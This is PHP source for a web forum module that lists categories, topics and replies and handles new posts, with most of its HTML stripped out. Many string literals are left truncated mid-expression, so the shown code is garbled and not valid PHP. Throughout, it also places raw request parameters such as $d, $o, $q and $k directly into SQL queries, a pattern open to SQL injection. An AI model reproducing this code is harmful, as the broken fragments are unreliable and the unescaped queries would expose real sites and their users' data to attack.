getLine("SELECT id, name FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']}

"; //----------------------------------------------------------------- // Start display //----------------------------------------------------------------- ?> getTable("SELECT s.id AS sid, s.name, s.succession, s.type, s.description, s.topics, s.replies, s.lastpost_date, s.lastpost_email, s.lastpost_user, s.lastpost_id, s.lastpost_location, s.lastpost_reg, u.id AS uid FROM forum_subcat AS s LEFT JOIN users AS u ON s.lastpost_id=u.id WHERE s.cat = '$d' ORDER BY s.succession ASC"); //----------------------------------------------------------------- // Start the foreach //----------------------------------------------------------------- foreach($results as $idx=>$result) { //----------------------------------------------------------------- // Check see what indicator fits //----------------------------------------------------------------- if($result['type'] == "5") $forum_indicator = "{$language["; else { if(@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat']) && !@in_array(array("{$result['sid']}","{$result['lastpost_date']}"),$_SESSION['subcat_read'])) { if($result['type'] == "1") $forum_indicator = "{$language["; if($result['type'] == "2") $forum_indicator = "{$language["; if($result['type'] == "3") $forum_indicator = "{$language["; if($result['type'] == "4") $forum_indicator = "{$language['Forum"; } else { if($result['type'] == "1") $forum_indicator = "{$language["; if($result['type'] == "2") $forum_indicator = "{$language["; if($result['type'] == "3") $forum_indicator = "{$language["; if($result['type'] == "4") $forum_indicator = "{$language["; } } //----------------------------------------------------------------- // Do some HTML //----------------------------------------------------------------- echo ""; echo ""; echo ""; echo ""; echo ""; } } //----------------------------------------------------------------- // Show Indicators //----------------------------------------------------------------- ?>
$forum_indicator{$result['name']}
{$result['description']}
"; if($result['type'] == "5") echo "--"; else echo $result['topics']; echo ""; if($result['type'] == "5") echo "--"; else echo $result['replies']; echo ""; if(!isset($result['redirect_hits'])) $result['redirect_hits'] = "0"; if($result['type'] == "5") echo "{$language['Forum view forum desc7']} {$result['redirect_hits']}"; else { if(!isset($result['lastpost_date'])) echo "--"; else { echo "{$language[ ".today_yesterday($result['lastpost_date'])."
{$language['Forum view forum desc6']} "; if(isset($result['uid'])) echo "{$result['lastpost_user']}"; else echo "{$result['lastpost_user']}"; echo " {$language["; } echo "

<?= $language['Forum indicator desc'] ?>
<?= $language['Forum indicator desc2'] ?>
<?= $language['Forum indicator desc3'] ?>
<?= $language['Forum indicator desc4'] ?>
<?= $language['Forum indicator desc5'] ?>
<?= $language['Forum indicator desc6'] ?>
<?= $language['Forum indicator desc7'] ?>
<?= $language['Forum indicator desc8'] ?>
<?= $language['Forum indicator desc9'] ?>
getLine("SELECT id, name FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT id, name, type, redirect_hits, redirect_location, lastpost_date FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']}
"; //----------------------------------------------------------------- // Start Restictions + Redirections //----------------------------------------------------------------- if($forum_subcat['type'] == "3" && isset($is_guest) || $forum_subcat['type'] == "3" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "5") { $redirect_plus_plus = $forum_subcat['redirect_hits'] + 1; $db->updateRow("forum_subcat",array('redirect_hits' => ''.$redirect_plus_plus.''),"id = '$o'"); header("location: http://{$forum_subcat['redirect_location']}"); } //----------------------------------------------------------------- // Navigation Stuff //----------------------------------------------------------------- $rows_per_page = $config['nav_topics']; $numrows = $db->getInfo_countRows("forum_topics","cat = '$d' AND subcat = '$o' AND mode != '1'"); $lastpage = ceil($numrows/$rows_per_page); $p = (int)$p; if ($p < 1) $p = 1; elseif ($p > $lastpage) $p = $lastpage; if($numrows != FALSE) $limit = 'LIMIT ' .($p - 1) * $rows_per_page .',' .$rows_per_page; else $limit = NULL; //----------------------------------------------------------------- // Load MYSQL Table //----------------------------------------------------------------- if($numrows != "0") $forum_topics = $db->getTable("SELECT t.*, ua.id AS uaid, COUNT(r.id) AS replies, ul.id AS ulid FROM forum_topics AS t LEFT JOIN users AS ua ON t.author_id=ua.id LEFT JOIN forum_replies AS r ON r.topic=t.id LEFT JOIN users AS ul ON t.lastpost_id=ul.id WHERE t.cat = '$d' AND t.subcat = '$o' AND t.mode != '1' GROUP BY t.id ORDER by mode ASC, 'lastpost_date' DESC $limit"); else $forum_topics = NULL; //----------------------------------------------------------------- // Navigation Code //----------------------------------------------------------------- if(!$forum_topics) $nav_prev = NULL; elseif($p == 1) $nav_prev = NULL; else { $prevpage = $p-1; $nav_prev = " «"; } if(!$forum_topics) $nav_next = NULL; elseif($p == $lastpage) $nav_next = NULL; else { $nextpage = $p+1; $nav_next = "»"; } if($forum_topics) $nav_nr = paginate($lastpage, $p, $PHP_SELF.'?n=modules/forum&a=2&d='.$forum_cat['id'].'&o='.$forum_subcat['id'], true); else $nav_nr = NULL; if($lastpage == 1) $nav_pages_def = $language['Forum view topics desc11']; else $nav_pages_def = $language['Forum view topics desc12']; $nav = ''.$nav_prev.''.$nav_nr.''.$nav_next.'
  
'; //----------------------------------------------------------------- // Make Subcat old //----------------------------------------------------------------- if(isset($is_loged_in)) { if(isset($forum_topics)) foreach($forum_topics as $idx=>$forum_topic) if(@in_array(array("{$forum_topic['id']}","{$forum_topic['subcat']}","{$forum_topic['lastpost_date']}"),$_SESSION['topic']) && !@in_array(array("{$forum_topic['id']}","{$forum_topic['subcat']}","{$forum_topic['lastpost_date']}"),$_SESSION['topic_read'])) $forum_subcat_read = TRUE; if(!isset($forum_subcat_read)) { if(@$_SESSION['subcat'][$o] == array("{$forum_subcat['id']}","{$forum_subcat['lastpost_date']}")) { @$array_subcat_read[] = $forum_subcat['id']; @$array_subcat_read[] = $forum_subcat['lastpost_date']; $_SESSION['subcat_read'][$o] = $array_subcat_read; } } } //----------------------------------------------------------------- // Start Restictions //----------------------------------------------------------------- if($forum_subcat['type'] == "2" && isset($is_guest) || $forum_subcat['type'] == "2" && isset($is_user) || $forum_subcat['type'] == "2" && isset($is_moderator) || $forum_subcat['type'] == "4" && isset($is_guest) || $forum_subcat['type'] == "4" && isset($is_user)) $forum_new_topic = NULL; else { if($config['forum_guest_topic'] == "0" && isset($is_guest)) $forum_new_topic = NULL; else $forum_new_topic = "{$language["; } //----------------------------------------------------------------- // Start display //----------------------------------------------------------------- ?>
getLine("SELECT t.*, ua.id AS uaid, COUNT(r.id) AS replies, ul.id AS ulid FROM forum_topics AS t LEFT JOIN users AS ua ON t.author_id=ua.id LEFT JOIN forum_replies AS r ON r.topic=t.id LEFT JOIN users AS ul ON t.lastpost_id=ul.id WHERE t.cat = '$d' AND t.subcat = '$o' AND t.mode = '1' GROUP BY t.id"); //----------------------------------------------------------------- // If Announcement Topic exists then show it //----------------------------------------------------------------- if($forum_announcement != FALSE) { //----------------------------------------------------------------- // Do the HTML //----------------------------------------------------------------- echo ""; echo ""; echo ""; if(isset($forum_announcement['uaid'])) echo ""; else echo ""; echo ""; //----------------------------------------------------------------- // Do more HTML //----------------------------------------------------------------- if($forum_announcement['type'] == 3) echo ""; else { echo ""; } } //----------------------------------------------------------------- // Check see if topics or announcement exists, else message //----------------------------------------------------------------- if(!$forum_topics && !$forum_announcement) echo ""; elseif(isset($forum_topics)) { //----------------------------------------------------------------- // Start the foreach if topics exist //----------------------------------------------------------------- foreach($forum_topics as $idx=>$result) { //----------------------------------------------------------------- // Check see what indicator fits //----------------------------------------------------------------- if($result['mode'] == "2") $forum_indicator = "{$language["; if($result['mode'] == "3") { if(@in_array(array("{$result['id']}","{$result['subcat']}","{$result['lastpost_date']}"),$_SESSION['topic']) && !@in_array(array("{$result['id']}","{$result['subcat']}","{$result['lastpost_date']}"),$_SESSION['topic_read'])) { if($result['type'] == "1") { if(($result['replies'] - 1) >= $config['forum_hot']) $forum_indicator = "{$language["; else $forum_indicator = "{$language["; } if($result['type'] == "2") $forum_indicator = "{$language["; } else { if($result['type'] == "1") { if(($result['replies'] - 1) >= $config['forum_hot']) $forum_indicator = "{$language["; else $forum_indicator = "{$language["; } if($result['type'] == "2") $forum_indicator = "{$language["; } if($result['type'] == "3") $forum_indicator = "{$language["; } //----------------------------------------------------------------- // Count the replies //----------------------------------------------------------------- $page = ceil($result['replies']/$config['nav_replies']); if($page > 1) $inner_pag = "[ ".paginate($page, 0, "$PHP_SELF?n=modules/forum&a=3&d={$forum_cat['id']}&o={$forum_subcat['id']}&q={$result['id']}")." ]"; else $inner_pag = NULL; //----------------------------------------------------------------- // Do some HTML //----------------------------------------------------------------- echo ""; echo ""; if($result['type'] == 3) echo ""; else echo ""; if(isset($result['uaid'])) echo ""; else echo ""; if($result['type'] == 3) echo ""; else echo ""; if($result['type'] == 3) echo ""; else { echo ""; } } } //----------------------------------------------------------------- // Show Indicators //----------------------------------------------------------------- ?>
{$language[".cuttext($forum_announcement['name'],30)."".($forum_announcement['replies'] - 1)."{$forum_announcement['author_user']}{$forum_announcement['author_user']}{$forum_announcement['views']}{$language['Forum view forum desc5']} {$forum_announcement['redirect_hits']}
{language[ ".today_yesterday($forum_announcement['lastpost_date'])."
{$language['Forum view topics desc7']} "; if(isset($forum_announcement['ulid'])) echo "{$forum_announcement['lastpost_user']}"; else echo "{$forum_announcement['lastpost_user']}"; echo " {$language[
{$language['Forum view topics desc9']}
$forum_indicator".cuttext($result['name'],30)."
$inner_pag
--".($result['replies'] - 1)."{$result['author_user']}{$result['author_user']}--{$result['views']}{$language['Forum view topics desc8']} {$result['redirect_hits']}
{$language[ ".today_yesterday($result['lastpost_date'])."
{$language['Forum view topics desc7']} "; if(isset($result['ulid'])) echo "{$result['lastpost_user']}"; else echo "{$result['lastpost_user']}"; echo " {$language[
<?= $language['Forum indicator desc10'] ?>
<?= $language['Forum indicator desc11'] ?>
<?= $language['Forum indicator desc12'] ?>
<?= $language['Forum indicator desc13'] ?>
<?= $language['Forum indicator desc14'] ?>
<?= $language['Forum indicator desc15'] ?>
<?= $language['Forum indicator desc16'] ?>
<?= $language['Forum indicator desc17'] ?>
<?= $language['Forum indicator desc18'] ?>
getLine("SELECT * FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']} » {$forum_topic['name']}
"; //----------------------------------------------------------------- // Start Redirections //----------------------------------------------------------------- if($forum_topic['type'] == "3") { $redirect_plus_plus = $forum_topic['redirect_hits'] + 1; $db->updateRow("forum_topics",array('redirect_hits' => ''.$redirect_plus_plus.''),"id = '$q'"); header("location: $PHP_SELF?n=modules/forum&a=3&d={$forum_topic['redirect_cat']}&o={$forum_topic['redirect_subcat']}&q={$forum_topic['redirect_topic']}"); } //----------------------------------------------------------------- // Start Restictions //----------------------------------------------------------------- if($forum_subcat['type'] == "3" && isset($is_guest) || $forum_subcat['type'] == "3" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } //----------------------------------------------------------------- // Count Views //----------------------------------------------------------------- $view_plus_plus = $forum_topic['views'] + 1; $db->updateRow("forum_topics",array('views' => ''.$view_plus_plus.''),"id = '$q'"); //----------------------------------------------------------------- // Navigation Stuff //----------------------------------------------------------------- $rows_per_page = $config['nav_replies']; $numrows = $db->getInfo_countRows("forum_replies","cat = '$d' AND subcat = '$o' AND topic = '$q'"); $lastpage = ceil($numrows/$rows_per_page); $p = (int)$p; if ($p < 1) $p = 1; elseif ($p > $lastpage) $p = $lastpage; if($numrows != FALSE) $limit = 'LIMIT ' .($p - 1) * $rows_per_page .',' .$rows_per_page; else $limit = NULL; //----------------------------------------------------------------- // Load MYSQL Table //----------------------------------------------------------------- $results = $db->getTable("SELECT r.id, r.date, r.user_reg, r.user_id, r.user_user, r.user_email, r.message, r.ip, u.id AS uid, u.authorization, u.email, u.url, u.flag, u.location, u.registered, u.forumposts, u.signature, u.msn, u.yahoo, u.icq, u.aim, u.skype, u.avatar, u.hideemail, u.status, o.user_id AS oid FROM forum_replies AS r LEFT JOIN users AS u ON u.id=r.user_id LEFT JOIN online AS o ON (o.user_id=u.id AND o.type='live') WHERE r.cat = '$d' AND r.subcat = '$o' AND r.topic = '$q' ORDER by id ASC $limit"); //----------------------------------------------------------------- // Navigation Code //----------------------------------------------------------------- if(!$results) $nav_prev = NULL; elseif($p == 1) $nav_prev = NULL; else { $prevpage = $p-1; $nav_prev = " «"; } if(!$results) $nav_next = NULL; elseif($p == $lastpage) $nav_next = NULL; else { $nextpage = $p+1; $nav_next = "»"; } if($results) $nav_nr = paginate($lastpage, $p, $PHP_SELF.'?n=modules/forum&a=3&d='.$forum_cat['id'].'&o='.$forum_subcat['id'].'&q='.$forum_topic['id'], true); else $nav_nr = NULL; if($lastpage == 1) $nav_pages_def = $language['Forum view replies desc26']; else $nav_pages_def = $language['Forum view replies desc27']; $nav = ''.$nav_prev.''.$nav_nr.''.$nav_next.'
  
'; //----------------------------------------------------------------- // Make Topic old //----------------------------------------------------------------- if(isset($is_loged_in)) { if(@$_SESSION['topic'][$q] == array("{$forum_topic['id']}","{$forum_topic['subcat']}","{$forum_topic['lastpost_date']}")) { @$array_topic_read[] = $forum_topic['id']; @$array_topic_read[] = $forum_topic['subcat']; @$array_topic_read[] = $forum_topic['lastpost_date']; $_SESSION['topic_read'][$q] = $array_topic_read; $tmp['forum_lastvisit'] = $forum_topic['lastpost_date'] + 1; $db->updateRow("users",$tmp,"id={$_SESSION['id']}"); } } //----------------------------------------------------------------- // Make Subcat old //----------------------------------------------------------------- if(isset($is_loged_in)) { $forum_subcat_topics = $db->getTable("SELECT id, subcat, lastpost_date FROM forum_topics WHERE cat = '$d' AND subcat = '$o'"); foreach($forum_subcat_topics as $idx=>$forum_subcat_topic) if(@in_array(array("{$forum_subcat_topic['id']}","{$forum_subcat_topic['subcat']}","{$forum_subcat_topic['lastpost_date']}"),$_SESSION['topic']) && !@in_array(array("{$forum_subcat_topic['id']}","{$forum_subcat_topic['subcat']}","{$forum_subcat_topic['lastpost_date']}"),$_SESSION['topic_read'])) $forum_subcat_read = TRUE; if(!isset($forum_subcat_read)) { if(@$_SESSION['subcat'][$o] == array("{$forum_subcat['id']}","{$forum_subcat['lastpost_date']}")) { @$array_subcat_read[] = $forum_subcat['id']; @$array_subcat_read[] = $forum_subcat['lastpost_date']; $_SESSION['subcat_read'][$o] = $array_subcat_read; } } } //----------------------------------------------------------------- // Start Restictions //----------------------------------------------------------------- if($forum_subcat['type'] == "2" && isset($is_guest) || $forum_subcat['type'] == "2" && isset($is_user) || $forum_subcat['type'] == "2" && isset($is_moderator) || $forum_subcat['type'] == "4" && isset($is_guest) || $forum_subcat['type'] == "4" && isset($is_user)) $forum_new_topic = NULL; else { if($config['forum_guest_topic'] == "0" && isset($is_guest)) $forum_new_topic = NULL; else $forum_new_topic = "{$language["; } if($forum_topic['mode'] == "1" && isset($is_guest) || $forum_topic['mode'] == "1" && isset($is_user) || $forum_topic['mode'] == "1" && isset($is_moderator) || $forum_subcat['type'] == "4" && isset($is_guest) || $forum_subcat['type'] == "4" && isset($is_user)) $forum_add_reply = NULL; else { if($forum_topic['type'] == "2" && isset($is_guest) || $forum_topic['type'] == "2" && isset($is_user) || $forum_topic['mode'] == "2" && isset($is_guest) || $forum_topic['mode'] == "2" && isset($is_user)) $forum_add_reply = NULL; else { if($config['forum_guest_reply'] == "0" && isset($is_guest)) $forum_add_reply = NULL; else $forum_add_reply = "{$language["; } } //----------------------------------------------------------------- // Start display //----------------------------------------------------------------- ?>
getTable("SELECT * FROM forum_ranks"); $first_rank = $db->getLine("SELECT * FROM forum_ranks ORDER BY posts LIMIT 1"); //----------------------------------------------------------------- // Start foreach //----------------------------------------------------------------- foreach($results as $idx=>$result) { //----------------------------------------------------------------- // Get correct post count //----------------------------------------------------------------- $correct_post_count = $idx + (($p - 1) * $rows_per_page + 1); //----------------------------------------------------------------- // Choose either member or guest //----------------------------------------------------------------- if(isset($result['uid'])) { //----------------------------------------------------------------- // Check see if user is online //----------------------------------------------------------------- if(isset($result['oid'])) $result['online'] = ""; else $result['online'] = ""; //----------------------------------------------------------------- // Check and get the extra buttons from user's profile //----------------------------------------------------------------- if($result['hideemail'] != "1") $result_email = ""; else $result_email = NULL; if(isset($result['url'])) $result_website = ""; else $result_website = NULL; if(isset($result['msn'])) $result_msn = ""; else $result_msn = NULL; if(isset($result['yahoo'])) $result_yahoo = ""; else $result_yahoo = NULL; if(isset($result['icq'])) $result_icq = ""; else $result_icq = NULL; if(isset($result['aim'])) $result_aim = ""; else $result_aim = NULL; if(isset($result['skype'])) $result_skype = ""; else $result_skype = NULL; if(isset($result['signature'])) $user_signature = "


{$language['Forum view replies desc7']}
".parse_message($result['signature']); else $user_signature = NULL; //----------------------------------------------------------------- // Get the specific rank //----------------------------------------------------------------- if($ranks_db != FALSE) { if($result['authorization'] != 1) $rank = find_authorization($result['authorization']); else { if($result['status'] == "banned") $rank = find_status($result['status']); else { if ($result['forumposts'] < $first_rank['posts']) $rank = find_authorization($result['authorization']); foreach($ranks_db as $idx=>$cur_rank) if ($result['forumposts'] >= $cur_rank['posts']) $rank = $cur_rank['name']; } } } else $rank = find_authorization($result['authorization']); //----------------------------------------------------------------- // Do the HTML //----------------------------------------------------------------- echo ""; echo ""; else echo ""; echo ""; //----------------------------------------------------------------- // Do the Admin buttons //----------------------------------------------------------------- if(isset($is_administrator) && $result['authorization'] != "4" || isset($is_webmaster) || isset($is_moderator) && $result['authorization'] < "3" || $result['user_id'] == @$_SESSION['id']) { if($forum_topic['mode'] == "1" && isset($is_guest) || $forum_topic['mode'] == "1" && isset($is_user) || $forum_topic['mode'] == "1" && isset($is_moderator)) echo ""; else { echo ""; } } else echo ""; //----------------------------------------------------------------- // Do more HTML //----------------------------------------------------------------- echo ""; echo ""; } else { //----------------------------------------------------------------- // Do the HTML //----------------------------------------------------------------- echo ""; echo ""; else echo ""; echo ""; //----------------------------------------------------------------- // Do the Admin buttons //----------------------------------------------------------------- if(isset($is_administrator) || isset($is_webmaster) || isset($is_moderator) || $result['ip'] == find_ip() && !isset($is_user)) { echo ""; } else echo ""; //----------------------------------------------------------------- // Do more HTML //----------------------------------------------------------------- echo ""; echo ""; } } ?>
{$language[{$language[{$language[{$language[{$language[{$language[{$language[{$language[{$language[
{$result['user_user']}
{$language[ ".today_yesterday($result['date'])."#$correct_post_count
".find_avatar($result['avatar'])."
$rank

{$language['Forum view replies desc']} ".date("d-M y",$result['registered'])."
"; if(find_flag($result['flag'],$result['location'], true, true)) echo "{$language['Forum view replies desc1']} ".find_flag($result['flag'],$result['location'], true, true)."
"; echo "{$language['Forum view replies desc2']} {$result['forumposts']}"; if(isset($is_administrator) || isset($is_webmaster)) echo "

{$language['Forum view replies desc3']} {$result['ip']}
".parse_message($result['message'])."$user_signature"; if($correct_post_count == 1) { if(isset($is_administrator) || isset($is_webmaster) || isset($is_moderator)) if($forum_topic['mode'] != "1") echo "{$language[
"; echo "{$language["; } else echo "{$language["; echo "
{$language[
{$result['online']}
{$language[{$language[
$result_email$result_website$result_msn$result_yahoo$result_icq$result_aim$result_skype
{$language[
{$result['user_user']}
{$language[ ".today_yesterday($result['date'])."#$correct_post_count
{$language['Forum view replies desc5']}"; if(isset($is_administrator) || isset($is_webmaster)) echo "

{$language['Forum view replies desc3']} {$result['ip']}
".parse_message($result['message']).""; if($correct_post_count == 1) { if(isset($is_administrator) || isset($is_webmaster) || isset($is_moderator)) echo "{$language[
"; echo "{$language["; } else echo "{$language["; echo "
{$language[
{$language[{$language[
getLine("SELECT id, username, email, forumposts FROM users WHERE id = '{$_SESSION['id']}' AND username = '{$_SESSION['username']}'"); $id = $user['id']; $username = $user['username']; $email = $user['email']; if(isset($is_moderator) || isset($is_administrator) || isset($is_webmaster)) $topic_type = $topic_type; else $topic_type = 3; $author_reg = 2; } if(!$topic_name){ header("location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o&i=99"); exit; } if(!$sendmessage){ header("location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o&i=100"); exit; } //----------------------------------------------------------------- // BBcode check //----------------------------------------------------------------- for ($i = 1; $i <= 5; $i++) if(check_tag_order($sendmessage) == $i) { header("location: $PHP_SELF?n=modules/forum&a=4&d=$d&o=$o&i=9$i"); exit; } //----------------------------------------------------------------- // Take care of some things //----------------------------------------------------------------- $topic_name = trim(jcm_stripslashes(do_censor(jcm_htmlspecialchars($topic_name)))); $sendmessage = jcm_linebreaks(trim(jcm_stripslashes($sendmessage))); if($overflow = check_tag_order($sendmessage)) $sendmessage = substr($sendmessage, 0, $overflow[0]).substr($sendmessage, $overflow[1], (strlen($sendmessage) - $overflow[0])); //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $db->insertRow("forum_topics",array('cat' => ''.$d.'','subcat' => ''.$o.'','date' => ''.time().'','name' => ''.$topic_name.'','author_reg' => ''.$author_reg.'','author_id' => ''.$id.'','author_user' => ''.$username.'','author_email' => ''.$email.'','mode' => ''.$topic_type.'','ip' => ''.find_ip().'')); $check_topic = $db->getLine("SELECT * FROM forum_topics WHERE cat = '$d' AND subcat = '$o' ORDER BY id DESC"); $db->insertRow("forum_replies",array('cat' => ''.$d.'','subcat' => ''.$o.'','topic' => ''.$check_topic['id'].'','date' => ''.time().'','user_reg' => ''.$author_reg.'','user_id' => ''.$id.'','user_user' => ''.$username.'','user_email' => ''.$email.'','message' => ''.$sendmessage.'','ip' => ''.find_ip().'')); $check_reply = $db->getLine("SELECT * FROM forum_replies ORDER BY id DESC"); $db->updateRow("forum_subcat",array('lastpost_location' => ''.$check_reply['id'].'','lastpost_date' => ''.time().'','lastpost_reg' => ''.$author_reg.'','lastpost_id' => ''.$id.'','lastpost_user' => ''.$username.'','lastpost_email' => ''.$email.''),"id = '$o'"); $db->updateRow("forum_topics",array('lastpost_location' => ''.$check_reply['id'].'','lastpost_date' => ''.time().'','lastpost_reg' => ''.$author_reg.'','lastpost_id' => ''.$id.'','lastpost_user' => ''.$username.'','lastpost_email' => ''.$email.''),"id = {$check_topic['id']}"); $check_topics = $db->getInfo_countRows("forum_topics","cat = '$d' AND subcat = '$o' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","cat = '$d' AND subcat = '$o'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'"); if($author_reg == "2") { $plus_forumposts = $user['forumposts'] + 1; $db->updateRow("users",array('forumposts' => ''.$plus_forumposts.''),"id = {$user['id']}"); } //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=3&d=$d&o=$o&q={$check_topic['id']}&i=101"); break; //----------------------------------------------------------------- // View topic Form //----------------------------------------------------------------- default: //----------------------------------------------------------------- // If user is guest and restriction is turned on //----------------------------------------------------------------- if($config['forum_guest_topic'] == "0" && isset($is_guest)) { header("location: $PHP_SELF?i=2"); exit; } //----------------------------------------------------------------- // Breadcrumbs //----------------------------------------------------------------- $forum_cat = $db->getLine("SELECT * FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']}
"; //----------------------------------------------------------------- // Check for Announcement //----------------------------------------------------------------- $forum_topics = $db->getTable("SELECT * FROM forum_topics WHERE subcat = '$o'"); $found = FALSE; foreach($forum_topics as $forum_topic) { if($forum_topic['mode'] == 1) $found = TRUE; } //----------------------------------------------------------------- // Start Restrictions //----------------------------------------------------------------- if($forum_subcat['type'] == "2" && isset($is_guest) || $forum_subcat['type'] == "2" && isset($is_user) || $forum_subcat['type'] == "2" && isset($is_moderator)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "3" && isset($is_guest) || $forum_subcat['type'] == "3" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "4" && isset($is_guest) || $forum_subcat['type'] == "4" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "5") header("location: http://{$forum_subcat['redirect_location']}"); //----------------------------------------------------------------- // Start Display Form //----------------------------------------------------------------- ?>
[]
getLine("SELECT * FROM users WHERE id = '{$_SESSION['id']}' AND username = '{$_SESSION['username']}'"); $id = $user['id']; $username = $user['username']; $email = $user['email']; $author_reg = 2; } if(!$sendmessage){ header("location: $PHP_SELF?n=modules/forum&a=5&d=$d&o=$o&q=$q&i=105"); exit; } //----------------------------------------------------------------- // BBcode check //----------------------------------------------------------------- for ($i = 1; $i <= 5; $i++) if(check_tag_order($sendmessage) == $i) { header("location: $PHP_SELF?n=modules/forum&a=5&d=$d&o=$o&q=$q&i=9$i"); exit; } //----------------------------------------------------------------- // Take care of some things //----------------------------------------------------------------- $sendmessage = jcm_linebreaks(trim(jcm_stripslashes($sendmessage))); if($overflow = check_tag_order($sendmessage)) $sendmessage = substr($sendmessage, 0, $overflow[0]).substr($sendmessage, $overflow[1], (strlen($sendmessage) - $overflow[0])); //----------------------------------------------------------------- // Write in database //----------------------------------------------------------------- $db->insertRow("forum_replies",array('cat' => ''.$d.'','subcat' => ''.$o.'','topic' => ''.$q.'','date' => ''.time().'','user_reg' => ''.$author_reg.'','user_id' => ''.$id.'','user_user' => ''.$username.'','user_email' => ''.$email.'','message' => ''.$sendmessage.'','ip' => ''.find_ip().'')); $check_reply = $db->getLine("SELECT * FROM forum_replies ORDER BY id DESC"); $db->updateRow("forum_subcat",array('lastpost_location' => ''.$check_reply['id'].'','lastpost_date' => ''.time().'','lastpost_reg' => ''.$author_reg.'','lastpost_id' => ''.$id.'','lastpost_user' => ''.$username.'','lastpost_email' => ''.$email.''),"id = '$o'"); $db->updateRow("forum_topics",array('lastpost_location' => ''.$check_reply['id'].'','lastpost_date' => ''.time().'','lastpost_reg' => ''.$author_reg.'','lastpost_id' => ''.$id.'','lastpost_user' => ''.$username.'','lastpost_email' => ''.$email.''),"id = '$q'"); $check_topics = $db->getInfo_countRows("forum_topics","cat = '$d' AND subcat = '$o' AND type != '3'"); $check_replies = $db->getInfo_countRows("forum_replies","cat = '$d' AND subcat = '$o'"); $db->updateRow("forum_subcat",array('topics' => ''.$check_topics.'', 'replies' => ''.$check_replies.''),"id = '$o'"); if($author_reg == "2") { $plus_forumposts = $user['forumposts'] + 1; $db->updateRow("users",array('forumposts' => ''.$plus_forumposts.''),"id = {$user['id']}"); } //----------------------------------------------------------------- // Redirect when finished //----------------------------------------------------------------- header("location: $PHP_SELF?n=modules/forum&a=6&d={$check_reply['id']}"); break; //----------------------------------------------------------------- // View reply Form //----------------------------------------------------------------- default: //----------------------------------------------------------------- // If user is guest and restriction is turned on //----------------------------------------------------------------- if($config['forum_guest_reply'] == "0" && isset($is_guest)){ header("location: $PHP_SELF?i=2"); exit; } //----------------------------------------------------------------- // Breadcrumbs + Check for existance //----------------------------------------------------------------- $forum_cat = $db->getLine("SELECT * FROM forum_cat",$d); if(!$forum_cat) header("location: $PHP_SELF?i=error"); $forum_subcat = $db->getLine("SELECT * FROM forum_subcat",$o); if(!$forum_subcat) header("location: $PHP_SELF?i=error"); $forum_topic = $db->getLine("SELECT * FROM forum_topics",$q); if(!$forum_topic) header("location: $PHP_SELF?i=error"); echo "
{$config['forum_name']} » {$forum_cat['name']} » {$forum_subcat['name']} » {$forum_topic['name']}
"; //----------------------------------------------------------------- // Start Restrictions //----------------------------------------------------------------- if($forum_subcat['type'] == "3" && isset($is_guest) || $forum_subcat['type'] == "3" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "4" && isset($is_guest) || $forum_subcat['type'] == "4" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_subcat['type'] == "5") header("location: http://{$forum_subcat['redirect_location']}"); if($forum_topic['mode'] == "1" && isset($is_guest) || $forum_topic['mode'] == "1" && isset($is_user) || $forum_topic['mode'] == "1" && isset($is_moderator)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_topic['type'] == "2" && isset($is_guest) || $forum_topic['type'] == "2" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } if($forum_topic['mode'] == "2" && isset($is_guest) || $forum_topic['mode'] == "2" && isset($is_user)){ header("location: $PHP_SELF?i=2"); exit; } //----------------------------------------------------------------- // Start Layout //----------------------------------------------------------------- $results = $db->getTable("SELECT r.id, r.user_id, r.user_user, r.user_email, r.message, r.date, u.id AS uid FROM forum_replies AS r LEFT JOIN users AS u ON r.user_id=u.id WHERE r.cat = '$d' AND r.subcat = '$o' AND r.topic = '$q' ORDER BY id DESC LIMIT 10"); foreach($results as $idx=>$result) { if(isset($result['uid'])) $layout .= "{$result['user_user']}"; else $layout .= "{$result['user_user']}"; $layout .= "{$language[ ".today_yesterday($result['date']).""; $layout .= " ".parse_message($result['message']).""; } //----------------------------------------------------------------- // View if reply is quote //----------------------------------------------------------------- if(isset($k)) { $quote = $db->getLine("SELECT user_user, message FROM forum_replies WHERE id = '$k'"); $reply_a = "[quote={$quote['user_user']}]{$quote['message']}[/quote]"; } else $reply_a = NULL; //----------------------------------------------------------------- // View The Form //----------------------------------------------------------------- ?>
[]

